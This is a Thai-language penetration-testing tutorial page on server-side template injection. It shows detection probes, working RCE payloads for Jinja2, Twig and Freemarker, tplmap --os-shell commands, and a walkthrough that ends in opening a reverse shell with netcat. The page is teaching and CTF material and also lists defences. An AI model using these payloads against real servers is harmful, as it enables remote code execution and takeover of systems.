คลัง
web

Server-Side Template Injection (SSTI)

SSTI เกิดเมื่อ input ของผู้ใช้ถูกฝังเข้า template โดยตรงแล้วถูก engine ประมวลผล ทำให้แทรก expression ของ template language ได้ ในหลายกรณีนำไปสู่ remote code execution บทนี้เน้นการตรวจจับ ระบุ engine และยกระดับสู่ RCE

IntermediateAdvanced#ssti#template#jinja2#twig#rce#injection#web#ctf

1. หลักการ

Template engine (Jinja2, Twig, Freemarker ฯลฯ) แปลง template + data เป็น output ปัญหาเกิดเมื่อแอปเอา input ผู้ใช้ไปต่อเป็นส่วนหนึ่งของ template เอง แทนที่จะส่งเป็น data — ทำให้ engine ประมวลผล expression ที่ผู้โจมตีใส่มา เช่น {{7*7}} ออกมาเป็น 49

SSTI — input หลุดเข้าไปเป็น template code
{{7*7}} Template Engine 49 (RCE!) input ถูกประมวลผลเป็น code ไม่ใช่ data

2. ตรวจจับและระบุ engine

เริ่มด้วย polyglot payload ที่ทำให้เกิดผลต่างกันในแต่ละ engine แล้วดูผลเพื่อแยกชนิด:

Detection payloads
${7*7}      → ถ้าได้ 49 อาจเป็น Freemarker/หลายตัว
{{7*7}}      → ได้ 49 = Jinja2/Twig (Python/PHP)
{{7*'7'}}    → 49 = Twig, 7777777 = Jinja2 (แยก Twig vs Jinja2)
#{7*7}      → Ruby ERB style
<%= 7*7 %>   → ERB (Ruby)
ผลของ {{7*'7'}} ช่วยแยก Twig (49) ออกจาก Jinja2 (7777777)
มี flowchart มาตรฐานของ PortSwigger สำหรับไล่แยก engine — ใส่ payload ทีละชั้นตามผลที่ได้ หรือใช้ tplmap ตรวจอัตโนมัติ (เฉพาะ scope ที่ได้รับอนุญาต)

3. ยกระดับสู่ RCE

เมื่อระบุ engine ได้ ยกระดับจาก expression evaluation เป็นการรันคำสั่งระบบ โดยไต่ object/class ของภาษาไปถึงฟังก์ชันที่เรียก OS — ตัวอย่างนี้สำหรับ Jinja2 (Python) ใช้กับ lab/CTF ที่ได้รับอนุญาตเท่านั้น

Jinja2 (Python) → RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
เวอร์ชัน Jinja2 ต่างกันอาจต้องปรับ gadget chain; cycler/lipsum/request เป็น object ที่เข้าถึง globals ได้
Twig (PHP) / Freemarker (Java)
Twig:       {{['id']|filter('system')}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

4. Quick Reference

  • ทดสอบ {{7*7}} → ได้ 49 = SSTI
  • {{7*'7'}}: 49=Twig, 7777777=Jinja2
  • ระบุ engine ก่อน แล้วเลือก RCE gadget ให้ตรง
  • Jinja2: ไต่ __class__/__mro__/__subclasses__ หรือใช้ cycler/lipsum globals
  • เครื่องมือ: tplmap (auto), PortSwigger SSTI flowchart
  • ป้องกัน: ไม่เอา input มาต่อ template; ใช้ sandboxed engine + ส่งเป็น data เท่านั้น

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ input ที่โผล่กลับมาในหน้าเว็บแบบดูเหมือนถูกประมวลผล (ไม่ใช่แค่ echo ตรงๆ) สงสัยว่าเป็น SSTI ทำตามนี้ทีละขั้น

  1. 1ทดสอบ payload คลาสสิก {{7*7}} ก่อน ถ้าได้ 49 กลับมา = เจอ Jinja2/Twig แน่นอน
  2. 2ถ้าไม่ได้ 49 ลอง polyglot อื่น: ${7*7}, #{7*7}, <%= 7*7 %> ไล่ทีละแบบดูว่าอันไหนได้ 49
  3. 3เมื่อได้ 49 จากแบบไหน ใช้ {{7*'7'}} แยก Twig (ได้ 49) ออกจาก Jinja2 (ได้ 7777777)
  4. 4ยืนยัน engine แล้วลองเข้าถึง object พื้นฐาน เช่น {{self}} หรือ {{config}} ดูว่า error/output เปลี่ยนไหม (บอกใบ้เวอร์ชัน)
  5. 5ไต่ chain ไปยัง RCE ตาม engine ที่ยืนยันได้ (Jinja2: __class__.__mro__...; Twig: |filter('system'))
  6. 6ถ้ามือลองเองไม่ไหว ใช้ tplmap --os-shell -u 'http://target/page?name=*' ให้เดา engine + เปิด shell อัตโนมัติ
  7. 7ถ้า payload โดนกรอง (เช่น { } ถูก strip) ลอง obfuscate ด้วย hackvertor หรือแยก payload เป็นหลาย request
  8. 8ได้ RCE แล้ว ยิง reverse shell กลับมาเครื่องเรา (revshells.com เลือกตาม OS/lang)
Master flow — ยืนยัน engine และยกระดับ SSTI เป็น RCE
ยิง {{7*7}} ใส่ parameter ที่สงสัย
ได้ผลลัพธ์ 49 กลับมาไหม?
✅ ได้ 49→ เจอ syntax ที่ถูกประมวลผล
❌ ไม่ได้/เห็นแค่ {{7*7}} เฉยๆ→ ลอง polyglot อื่นก่อน
ลอง polyglot อื่น: ${7*7}, #{7*7}, <%= 7*7 %> ไล่ทีละแบบ
มีอันไหนได้ 49 บ้างไหม?
✅ ได้→ ยืนยัน engine ต่อ
❌ ไม่มีเลยสักอัน→ อาจไม่ใช่ SSTI
ยืนยัน engine ด้วย {{7*'7'}}: ได้ 49=Twig, 7777777=Jinja2 (หรือดู error message เทียบ engine อื่น)
ไต่ object พื้นฐาน ({{self}}/{{config}}) แล้วต่อ chain ไปยัง RCE ตาม engine ที่ยืนยันได้
ไต่ chain เองได้ RCE ไหม?
✅ ได้ RCE→ เปิด shell ต่อได้เลย
❌ payload โดน filter/error→ ต้องใช้เครื่องมือช่วย
ลองให้ tplmap --os-shell -u 'http://target/?name=*' เดา engine + เปิด shell แทน หรือ obfuscate payload ด้วย hackvertor
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ทดสอบ payload มือBurp Repeateralready in Kali-
เดา engine + เปิด shell อัตโนมัติtplmappip install tplmap (หรือ git clone)-
obfuscate payload หลบ filter--hackvertor
encode/decode payload--CyberChef
เรียนรู้ SSTI flowchart--portswigger web security academy
เปิด reverse shellncalready in Kalirevshells.com
ตั้ง listener รอ callbacknc -lvnpalready in Kali-
🚑 ถ้าตันสนิท ลองท่าถัดไป: xss ถ้าไม่มี syntax ไหนถูกประมวลผลเลย (แค่ reflect ธรรมดา), command-injection ถ้าได้ RCE ผ่าน template แล้วอยากรันคำสั่ง OS ต่อ, ssrf ถ้า template engine อ่านไฟล์/เรียก URL ภายนอกได้, lfi ถ้า engine มีฟังก์ชัน include/read ไฟล์ ให้ลองอ่านไฟล์ระบบแทน RCE ตรงๆ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้